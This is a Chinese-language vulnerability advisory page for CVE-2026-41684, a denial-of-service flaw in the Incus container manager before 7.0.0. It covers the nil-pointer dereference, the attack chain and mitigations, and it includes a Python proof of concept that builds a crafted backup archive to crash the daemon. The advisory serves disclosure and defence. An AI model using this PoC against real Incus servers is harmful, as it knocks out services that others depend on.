IPBUF安全漏洞报告
English
CVE-2026-41684 CVSS 6.5 中危

CVE-2026-41684 Incus拒绝服务漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41684
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

拒绝服务Incus容器安全空指针解引用DoS

漏洞概述

Incus系统容器和虚拟机管理器在7.0.0版本之前存在拒绝服务漏洞。由于backup.GetInfo()在解析备份配置时存在逻辑缺陷,攻击者可构造特制的备份存档。该存档包含有效的内联配置但缺少有效的遗留配置,导致具有实例导入权限的认证用户在恢复过程中触发空指针解引用,从而使Incus守护进程崩溃。

技术细节

该漏洞的核心在于Incus处理备份配置文件时的逻辑缺陷与校验不足。在7.0.0版本之前,`backup.GetInfo()`函数首先解析内联的`backup/index.yaml`,若结果为空则回退解析遗留的`backup/container/backup.yaml`。问题在于`ParseConfigYamlFile()`函数接受没有`container`段的YAML文档,且未进行严格校验。后续的`backup.UpdateInstanceConfig()`和`internalImportFromBackup()`等函数直接使用该配置对象,在未检查`Container`字段是否为空的情况下进行了指针解引用操作。因此,拥有实例导入权限的攻击者可以构造一个特制的备份存档,其内联配置通过校验,但提取出的遗留配置缺少容器定义。当Incus执行实例恢复或导入操作时,解析到该恶意配置即会发生崩溃,导致拒绝服务。

攻击链分析

STEP 1
步骤1:权限获取
攻击者需要获取Incus系统的合法访问权限,并拥有实例备份导入的操作权限。
STEP 2
步骤2:构造恶意存档
攻击者创建一个特制的备份文件,其中内联的backup/index.yaml是有效的,但提取后的backup/container/backup.yaml缺少container字段。
STEP 3
步骤3:执行导入操作
攻击者通过Incus API上传并触发该恶意备份文件的导入或恢复流程。
STEP 4
步骤4:触发漏洞
Incus守护进程在解析过程中,因解引用空指针而发生崩溃,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This is a conceptual PoC to generate a malicious backup archive structure. # It creates a tarball with a valid index.yaml but a malformed legacy backup.yaml. import tarfile import io import yaml # 1. Create a valid inline index.yaml index_data = { 'config': {}, 'container': None, # Valid struct for inline 'pool': 'default' } index_yaml = yaml.dump(index_data) # 2. Create a malformed legacy backup.yaml (missing container section) # This simulates the payload that triggers the nil pointer dereference legacy_data = { 'config': {}, # 'container' key is intentionally missing or malformed } legacy_yaml = yaml.dump(legacy_data) # 3. Build the tar archive in memory with tarfile.open("malicious_backup.tar.gz", "w:gz") as tar: # Add valid inline config index_bytes = index_yaml.encode('utf-8') index_info = tarfile.TarInfo(name='backup/index.yaml') index_info.size = len(index_bytes) tar.addfile(index_info, io.BytesIO(index_bytes)) # Add malformed legacy config legacy_bytes = legacy_yaml.encode('utf-8') legacy_info = tarfile.TarInfo(name='backup/container/backup.yaml') legacy_info.size = len(legacy_bytes) tar.addfile(legacy_info, io.BytesIO(legacy_bytes)) print("Malicious backup archive generated: malicious_backup.tar.gz") # An attacker would upload this file via the Incus API import endpoint.

影响范围

Incus < 7.0.0

防御指南

临时缓解措施
建议立即升级至修复版本7.0.0。在无法立即升级的情况下,应严格限制拥有实例备份导入权限的用户范围,仅允许受信任的管理员执行此操作,以防止恶意备份文件导致服务崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表